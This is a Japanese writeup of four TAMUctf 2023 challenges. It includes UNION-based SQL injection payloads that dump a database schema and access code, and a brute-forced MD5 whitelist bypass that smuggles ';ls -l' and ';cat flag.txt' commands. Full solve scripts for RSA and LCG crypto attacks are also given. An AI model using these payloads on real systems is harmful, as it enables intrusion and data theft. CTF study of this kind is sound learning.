この大会は2023/4/22 9:00(JST)~2023/4/27 9:00(JST)に開催されました。
今回もチームで参戦。結果は9676点で609チーム中12位でした。
自分で解けた問題をWriteupとして書いておきます。
Lost and Forgotten (web)
検索画面ではSQLインジェクションが使えるので、情報を抜き取っていく。
■z' union select 1,2,3,4,5,6 -- - 2 1 3 ■z' union select schema_name,2,3,4,5,6 from information_schema.schemata -- - 2 writeups 3 2 sys 3 2 performance_schema 3 2 mysql 3 2 information_schema 3 ■z' union select table_name,2,3,4,5,6 from information_schema.tables where table_schema = 'writeups' -- - 2 articles 3 ■z' union select column_name,2,3,4,5,6 from information_schema.columns where table_name = 'articles' -- - 2 access_code 3 2 artloc 3 2 imgloc 3 2 descr 3 2 postdate 3 2 title 3
最後に以下を入力する。
z' union select access_code,postdate,descr,imgloc,artloc,title from articles -- -
すると、以下の画像のようになる。
この画面からアクセスコードがわかる。
ba65ba9416d8e53c5d02006b2962d27e
TAMUctf 2023 Writeupsを選択し、Secret Codeに上記のアクセスコードを入力すると、フラグが表示された。
tamuctf{st4te_0f_th3_UNION_1njecti0n}
Numbers :pensive: (crypto)
サーバの処理概要は以下の通り。
・e = 65537 ・以下繰り返し ・p: 1024ビットランダム整数 ・q: 1024ビットランダム整数 ・n = p * q ・phi = (p - 1) * (q - 1) ・gcd(e, phi) が1の場合、繰り返し終了 ・n, eを表示 ・以下繰り返し ・chosen_e: 数値入力(e以外) ・pow(chosen_e, -1, phi)を表示 ・m: 1024ビットランダム整数 ・c = pow(m, e, n) ・cを表示 ・ans: 数値入力 ・ansとmが一致している場合、フラグを表示
ランダムな値mに対して、cの値は以下のようになる。
c = pow(m, e, n)
chosen_eにe * eを指定する。そのときの秘密鍵d2は以下の式になる。
d2 = pow(chosen_e, -1, phi)
上記のcに対して、以下を計算する。
m2 = pow(c, d2, n)
このときmは以下の計算で算出できる。
m = pow(m2, e, n)
#!/usr/bin/env python3 from pwn import * p = remote("tamuctf.com", 443, ssl=True, sni="numbers-pensive") data = p.recvline().decode().rstrip() print(data) n = int(data.split(' ')[-1]) data = p.recvline().decode().rstrip() print(data) e = int(data.split(' ')[-1]) chosen_e = e * e data = p.recvuntil(b': ').decode() print(data + str(chosen_e)) p.sendline(str(chosen_e).encode()) data = p.recvline().decode().rstrip() print(data) d2 = int(data) data = p.recvline().decode().rstrip() print(data) data = p.recvline().decode().rstrip() print(data) c = int(data) m2 = pow(c, d2, n) m = pow(m2, e, n) data = p.recvuntil(b': ').decode() print(data + str(m)) p.sendline(str(m).encode()) data = p.recvline().decode().rstrip() print(data)
実行結果は以下の通り。
[+] Opening connection to tamuctf.com on port 443: Done n = 10664678299782849846972604496174729926999574729826215098543334043597653935343050507602638043854265986870785818705209567636354288129585387522573782151731058852669024286616440345938741144539838875786691924741235082122364020230942752965605820464877520002474209054305233437378135973844637374411300116634104143341126933576828421591686041672279242885083080000064382658457074165593286484325299015277939345283780467055229043703377067557334168369781989287268858008332442391171145752454912266624060713396936095880698664853484700575844780686482563343019920952196172395819757891862339189189348442443113492012300772103847166029677 e = 65537 Give me an `e`, and I'll give you a `d`: 4295098369 6322432495972202629363889912529580790874925587668307281863719194307929650994145759473886602119653100319436008825484859496051163189557259213938766878810505543060922693267773007214352091418304875202857917369680831705619297988406074943822052286330765522939406819681314627692354172470810351047516028166993082774876486928152963726530695560608240997680309992980774661211182180741414430603131249863774650320882401417032249446197851430375810755465379239652806623334107088426378707309379771036579497428952916759096486849466430769302586097396952432910774458983370953261519784006840183453700925690048097820432668840860976079809 If you can decrypt this, I'll give you a flag! 2537842811516763398411454208364742147366334853085101686929815472696661269052742884966174905263127010406766197850767547880988488366733638260354060793499929354487805250342275353546353526957361413255921602008070655777532801664738869123014038609859106172557248003901186903359106536385112782853216833541262404130579929764788866029346698297237893219063137343747126151156205814289372598808491523706574471583372915747594440350947787636856908122419576276826156698557829106207084883257334429724530546090870987793786673099544685715563819554105699996232288401617038560987999702300733680194531749543192547535803973072893718831792 Your answer: 14551851292599990438253180119167956986569928351388067008254573231248249099768679493674886123432443047817270518595142692944006270553179350239918596031440277477925858412978072407156876039019583256812094181352103046294585868773261292246208709993415383148655460254494798415230878464690436765523764537233617469391 gigem{h4h4_numb3rs_ar3_s0_qu1rky} [*] Closed connection to tamuctf.com port 443
gigem{h4h4_numb3rs_ar3_s0_qu1rky}
MD5 (crypto)
サーバの処理概要は以下の通り。
・whitelisted_cmd = b'echo lmao' ・whitelisted_hash: whitelisted_cmdのmd5ダイジェストの先頭3バイト ・以下繰り返し ・cmd: 入力 ・cmdが'exit'の場合終了 ・cmdのmd5ダイジェストの先頭3バイトがwhitelisted_hashと異なる場合、入力からやり直し ・cmdを実行し出力結果を表示
ブルートフォースでmd5ダイジェストの先頭3バイトが一致するよう調整し、以下のコマンドを実行する。
echo XXXX;ls -l (XXXX部分を長さと文字についてブルートフォースする)
flag.txtがあることがわかるので、同様に以下のコマンドを実行する。
echo XXXX;cat flag.txt
#!/usr/bin/env python3 from pwn import * import hashlib import itertools import string def md5sum(b: bytes): return hashlib.md5(b).digest()[:3] whitelisted_cmd = b'echo lmao' whitelisted_hash = md5sum(whitelisted_cmd) chars = string.ascii_letters + string.digits cmd_base = 'echo ' cmd_list = [';ls -l', ';cat flag.txt'] cmd_inputs = [] for i in range(2): found = False for r in range(1, 5): for c in itertools.product(chars, repeat=r): cmd = cmd_base + ''.join(c) + cmd_list[i] if md5sum(cmd.encode()) == whitelisted_hash: found = True cmd_inputs.append(cmd) break if found: break p = remote("tamuctf.com", 443, ssl=True, sni="md5") for i in range(2): data = p.recvuntil(b'> ').decode() print(data + cmd_inputs[i]) p.sendline(cmd_inputs[i].encode()) data = p.recvuntil(b'> ').decode() print(data)
実行結果は以下の通り。
[+] Opening connection to tamuctf.com on port 443: Done > echo BXUQ;ls -l BXUQ total 16 drwxr-xr-x. 1 root root 6 Apr 12 06:45 bin drwxr-xr-x. 2 root root 6 Sep 3 2022 boot drwxr-xr-x. 5 root root 340 Apr 28 07:30 dev -rw-r--r--. 1 root root 78 Apr 28 05:39 docker_entrypoint.sh drwxr-xr-x. 1 root root 66 Apr 28 07:30 etc -rw-rw-r--. 1 root root 40 Apr 28 04:37 flag.txt drwxr-xr-x. 2 root root 6 Sep 3 2022 home drwxr-xr-x. 1 root root 30 Apr 12 06:45 lib drwxr-xr-x. 2 root root 34 Apr 11 00:00 lib64 drwxr-xr-x. 2 root root 6 Apr 11 00:00 media drwxr-xr-x. 2 root root 6 Apr 11 00:00 mnt drwxr-xr-x. 2 root root 6 Apr 11 00:00 opt dr-xr-xr-x. 1069 root root 0 Apr 28 07:30 proc drwx------. 1 root root 24 Apr 12 06:36 root drwxr-xr-x. 3 root root 30 Apr 11 00:00 run drwxr-xr-x. 2 root root 4096 Apr 11 00:00 sbin -rw-rw-r--. 1 root root 727 Apr 28 04:37 server.py drwxr-xr-x. 2 root root 6 Apr 11 00:00 srv dr-xr-xr-x. 13 root root 0 Apr 26 02:06 sys drwxrwxrwt. 1 root root 6 Apr 28 05:31 tmp drwxr-xr-x. 1 root root 30 Apr 11 00:00 usr drwxr-xr-x. 1 root root 41 Apr 11 00:00 var > echo dTdr;cat flag.txt dTdr gigem{3_bYt3_MD5_1s_Ju5t_pr00f_0f_W0rK} > [*] Closed connection to tamuctf.com port 443
gigem{3_bYt3_MD5_1s_Ju5t_pr00f_0f_W0rK}
PRNG (crypto)
サーバの処理概要は以下の通り。
・seed: 0x7fffffffffffffff未満のランダム整数 ・rng = Rand(seed) ・rng.m = m (未知) ・rng.a = a (未知) ・rng.c = c (未知) ・rng.seed = seed (未知) ・rng.seedが偶数の場合、+1 ・chall = [] ・以下を10回実行 ・challのrng.rand()を追加 ・rng.seed = (rng.a * rng.seed + rng.c) % rng.m ・challの10個を表示 ・以下を10回実行 ・x: 数値入力 ・xがrng.rand()と異なる場合、終了 ・フラグを表示
X[1] = (a * X[0] + c) % m X[2] = (a * X[1] + c) % m :
LCGになっているので、mod mで、以下のようになる。
X[2] - X[1] = a * (X[1] - X[0]) X[3] - X[2] = a * (X[2] - X[1]) = a**2 * (X[1] - X[0]) : ↓ (X[2] - X[1])**2 - (X[3] - X[2]) * (X[1] - X[0]) = 0 mod m
このことからわかる範囲で最大公約数からmを求める。mがわかれば、a, bを計算し、次以降の乱数を算出できるので、フラグを取得できる。
#!/usr/bin/env python3 from pwn import * from Crypto.Util.number import * from functools import reduce p = remote("tamuctf.com", 443, ssl=True, sni="prng") data = p.recvline().decode().rstrip() print(data) chall = [] for _ in range(10): data = p.recvline().decode().rstrip() print(data) chall.append(int(data)) delta = [d1 - d0 for (d0, d1) in zip(chall, chall[1:])] m_mul = [d0 * d2 - d1 * d1 for (d0, d1, d2) in zip(delta, delta[1:], delta[2:])] m = reduce(GCD, m_mul) a = (delta[1] * inverse(delta[0], m)) % m c = (chall[1] - a * chall[0]) % m log.info('m = ' + str(m)) log.info('a = ' + str(a)) log.info('c = ' + str(c)) seed = chall[-1] for _ in range(10): seed = (a * seed + c) % m data = p.recvuntil(b'> ').decode() print(data + str(seed)) p.sendline(str(seed).encode()) data = p.recvline().decode().rstrip() print(data) data = p.recvline().decode().rstrip() print(data)
実行結果は以下の通り。
[+] Opening connection to tamuctf.com on port 443: Done Authenticate. Provide the next 10 numbers following 493877208327473728 15630783300886135685 8612891485989368606 3993702174560782171 17311033012760247244 13869657163045756481 16222396490970064842 12540713454361377207 16759000960295653016 12672933690407857981 [*] m = 18446744073709551616 [*] a = 69 [*] c = 69 > 7435453173793274806 > 14984179001578068051 > 890682981151805092 > 6116893478345896569 > 16237280384256727778 > 13567702091141119791 > 13834240603259684848 > 13778653865731122165 > 9943168976260297038 > 3549128634707085899 Access granted. gigem{D0nt_r0ll_y0uR_oWn_RnG} [*] Closed connection to tamuctf.com port 443
gigem{D0nt_r0ll_y0uR_oWn_RnG}